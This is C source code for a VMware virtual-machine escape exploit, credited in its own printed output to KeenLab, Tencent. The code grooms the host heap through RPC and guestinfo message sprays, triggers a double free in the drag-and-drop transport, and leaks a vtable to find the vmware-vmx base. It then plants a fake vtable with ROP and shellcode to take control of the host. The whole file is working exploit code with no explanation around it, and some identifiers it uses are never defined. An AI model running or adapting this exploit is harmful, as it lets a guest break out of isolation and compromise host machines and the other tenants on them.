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char *initial_dnd = "tools.capability.dnd_version 4";
static const int cbObj = 0x100;
char *second_dnd = "tools.capability.dnd_version 2";
char *chgver = "vmx.capability.dnd_version";
char *call_transport = "dnd.transport ";
char *readstring = "ToolsAutoInstallGetParams";
typedef struct _DnDCPMsgHdrV4
{
char magic[14];
char dummy[2];
size_t ropper[13];
char shellcode[175];
char padding[0x80];
} DnDCPMsgHdrV4;
void PrepareLFH()
{
char *result = NULL;
char *pObj = malloc(cbObj);
memset(pObj, 'A', cbObj);
pObj[cbObj - 1] = 0;
for (int idx = 0; idx < 1; ++idx) // just occupy 1
{
char *spary = stringf("info-set guestinfo.k%d %s", idx, pObj);
RpcOut_SendOneRaw(spary, strlen(spary), &result, NULL); //alloc one to occupy 4
}
free(pObj);
}
size_t infoleak()
{
#define MAX_LFH_BLOCK 512
Message_Channel *chans[5] = {0};
for (int i = 0; i < 5; ++i)
{
chans[i] = Message_Open(0x49435052);
if (chans[i])
{
Message_SendSize(chans[i], cbObj - 1); //just alloc
}
else
{
Message_Close(chans[i - 1]); //keep 1 channel valid
chans[i - 1] = 0;
break;
}
}
PrepareLFH(); //make sure we have at least 7 hole or open and occupy next LFH block
for (int i = 0; i < 5; ++i)
{
if (chans[i])
{
Message_Close(chans[i]);
}
}
char *result = NULL;
char *pObj = malloc(cbObj);
memset(pObj, 'A', cbObj);
pObj[cbObj - 1] = 0;
char *spary2 = stringf("guest.upgrader_send_cmd_line_args %s", pObj);
while (1)
{
for (int i = 0; i < MAX_LFH_BLOCK; ++i)
{
RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
}
for (int i = 0; i < MAX_LFH_BLOCK; ++i)
{
Message_Channel *chan = Message_Open(0x49435052);
if (chan == NULL)
{
puts("Message send error!");
Sleep(100);
}
else
{
Message_SendSize(chan, cbObj - 1);
Message_RawSend(chan, "\xA0\x75", 2); //just ret
Message_Close(chan);
}
}
Message_Channel *chan = Message_Open(0x49435052);
Message_SendSize(chan, cbObj - 1);
Message_RawSend(chan, "\xA0\x74", 2); //free
RpcOut_SendOneRaw(dndtransport, strlen(dndtransport), &result, NULL); //trigger double free
for (int i = 0; i < min(cbObj-3,MAX_LFH_BLOCK); ++i)
{
RpcOut_SendOneRaw(spary2, strlen(spary2), &result, NULL);
Message_RawSend(chan, "B", 1);
RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
if (result[0] == 'A' && result[1] == 'A' && strcmp(result, pObj))
{
Message_Close(chan); //free the string
for (int i = 0; i < MAX_LFH_BLOCK; ++i)
{
puts("Trying to leak vtable");
RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
size_t p = 0;
if (result)
{
memcpy(&p, result, min(strlen(result), 8));
printf("Leak content: %p\n", p);
}
size_t low = p & 0xFFFF;
if (low == 0x74A8 || //RpcBase
low == 0x74d0 || //CpV4
low == 0x7630) //DnDV4
{
printf("vmware-vmx base: %p\n", (p & (~0xFFFF)) - 0x7a0000);
return (p & (~0xFFFF)) - 0x7a0000;
}
RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
}
}
}
Message_Close(chan);
}
return 0;
}
void exploit(size_t base)
{
char *result = NULL;
char *uptime_info = stringf("SetGuestInfo -7-%I64u", 0x41414141);
char *pObj = malloc(cbObj);
memset(pObj, 0, cbObj);
DnDCPMsgHdrV4 *hdr = malloc(sizeof(DnDCPMsgHdrV4));
memset(hdr, 0, sizeof(DnDCPMsgHdrV4));
memcpy(hdr->magic, call_transport, strlen(call_transport));
while (1)
{
RpcOut_SendOneRaw(second_dnd, strlen(second_dnd), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
for (int i = 0; i < MAX_LFH_BLOCK; ++i)
{
Message_Channel *chan = Message_Open(0x49435052);
Message_SendSize(chan, cbObj - 1);
size_t fake_vtable[] = {
base + 0xB87340,
base + 0xB87340,
base + 0xB87340,
base + 0xB87340};
memcpy(pObj, &fake_vtable, sizeof(size_t) * 4);
Message_RawSend(chan, pObj, sizeof(size_t) * 4);
Message_Close(chan);
}
RpcOut_SendOneRaw(uptime_info, strlen(uptime_info), &result, NULL);
RpcOut_SendOneRaw(hdr, sizeof(DnDCPMsgHdrV4), &result, NULL);
//check pwn success?
RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
if (*(size_t *)result == 0xdeadbeefc0debabe)
{
puts("VMware escape success! \nPwned by KeenLab, Tencent");
RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);//fix dnd to callable prevent vmtoolsd problem
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
return;
}
//host dndv4 fill in, try to clean up and free again
Sleep(100);
puts("Object wrong! Retry...");
RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);
RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
}
}
int main(int argc, char *argv[])
{
int ret = 1;
__try
{
while (1)
{
size_t base = 0;
do
{
puts("Leaking...");
base = infoleak();
} while (!base);
puts("Pwning...");
exploit(base);
break;
}
}
__except (ExceptionIsBackdoor(GetExceptionInformation()) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
fprintf(stderr, NOT_VMWARE_ERROR);
return 1;
}
return ret;
}
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